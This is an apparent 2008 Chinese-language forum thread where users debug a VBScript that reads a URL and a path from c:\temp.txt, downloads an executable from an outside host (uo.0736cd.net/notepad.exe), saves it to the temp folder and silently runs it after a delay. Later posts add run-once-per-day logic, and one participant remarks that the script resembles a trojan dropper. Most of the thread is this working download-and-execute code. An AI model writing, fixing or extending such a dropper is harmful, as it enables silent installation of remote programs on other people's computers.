slore大哥 如何加这个条件呢。检测下载的程序当天只运行一次 [ Last edited by hackhd on 2008-1-29 at 02:13 AM ]

Dim wsh Set wsh = CreateObject("wscript.shell") Set fso = CreateObject("scripting.filesystemobject") ys = readtxt("c:\temp.txt",1) 'ys的值等于TMEP。TXT文件的第一行 www = readtxt("c:\temp.txt",2) 'WWW的值等于temp.txt文件的第二行 'C:\TEMP.TXT文件的内容是 '"c:\not.exe" '"http://uo.0736cd.net/notepad.exe" hd www,ys Function hd(www,ys) Set Post = CreateObject("microsoft.XMLHTTP") Post.Open "GET",www,0 Post.Send() '保存为VBS，执行到这里就提示无效的语法。怎么处理。 Set aGet = CreateObject("ADODB.Stream") aGet.Mode = 3 aGet.Type = 1 aGet.Open() aGet.Write(Post.responseBody) aGet.SaveToFile ys,2 wscript.sleep 10000 wsh.Run ys '延迟过后执行下载文件 End Function Function readtxt(wr,line) If line < 0 Then wr = wscript.scriptfullname If fso.fileexists(wr) Then If fso.getfile(wr).size = 0 Then readtxt = 0 Else Set readfile = fso.OpenTextFile(wr,1) Set chickline = fso.OpenTextFile(wr,1) chickline.ReadAll txtline = chickline.line chickline.Close If line > 0 And line <= txtline Then i = 0 Do While i < line i = i + 1 If Not readfile.atendofstream Then strline = readfile.ReadLine Else strline = 0 End If Loop readtxt = strline ElseIf line <= 0 Then readtxt = readfile.ReadAll Else readtxt = 0 End If readfile.Close End If Else readtxt = 0 End If End Function 代码没错。。。。错在………… c:\temp.txt的内容应该为: c:\not.exe uo.0736cd.net/notepad.exe

啊哦。。slore大哥一来就找到问题了。。。我的救星

在前面声明一下 exe=fso.getspecialfolder(2)&"\" 'C:\TEMP.TXT文件的内容是 '第一行改为exe&"1.exe" 让它保存到临时文件夹去 Function hd(www,ys) Set Post = CreateObject("microsoft.XMLHTTP") Post.Open "GET",www,0 Post.Send() 法。怎么处理。 Set aGet = CreateObject("ADODB.Stream") aGet.Mode = 3 aGet.Type = 1 aGet.Open() aGet.Write(Post.responseBody) aGet.SaveToFile ys,2 '这里提示无法写入 YS只能用绝对路径？ wscript.sleep 10000 wsh.Run ys '延迟过后执行下载文件 End Function 加个msgbox ys 发现这个值为exe&"1.exe" 那么这里就是直接把直放进去了 aGet.SaveToFile exe&"1.exe" ,2 咦，直接放进去也可以执行啊。为什么不可以呢。这里看到的这个exe&"1.exe"是我手动转换了一次。再放去脚本，脚本再转换一次。一共转了二次，所以正确。而直接放YS的话。脚本只转了一次。所以错误。怎么解决呢？ aGet.SaveToFile exe&ys,2 这样就行了。 [ Last edited by hackhd on 2008-1-29 at 02:06 AM ]

文本里的exe是字符串 你脚本里的exe是变量。。。。 你在txt里写1.exe 在你的脚本里在调用hd的时候让ys=exe & ys msgbox exe msgbox "exe" 这个是区别。。。

次数?你这个脚本就执行一次。。。。。 你可以检测temp下存在那个文件不。。。存在退出。 越来越像种马了？

文件可以检测啊。 脚本只执行一次是因为还没有循环加上 以检测文件存在就退出的办法不可行。文件里要是有多个要下载的任务怎么办。 我现在想的是在TEMP。TXT文件下载过的做个标记 或者在下载模块里，设一个条件来记录次数。 [ Last edited by hackhd on 2008-1-29 at 05:32 PM ]

Originally posted by hackhd at 2008-1-29 17:17: 文件可以检测啊。 脚本只执行一次是因为还没有循环加上 以检测文件存在就退出的办法不可行。文件里要是有多个要下载的任务怎么办。 我现在 ...

那就由你自己定了…… 只执行一次干么要循环……汗～

这个又错哪里了。 dim wsh set wsh=createobject("wscript.shell") set fso=createobject("scripting.filesystemobject") if fso.fileexists("c:\temp.txt") then set openfile=fso.opentextfile("c:\temp.txt", 1) one=openfile.readline openfile.close if one="1" then msgbox one end if end if TEMP内容就一个数字 1 MSGBOX就是弹不出来。如果把上面的IF ONE=“1” THEN删掉，msgbox才能弹出来 奇了怪了。好像又可以了 [ Last edited by hackhd on 2008-1-29 at 06:01 PM ]

那就是你的one不是1啊 你msgbox """" & one & """" 检测下

上下QQ吧。有段代码我想发给你看。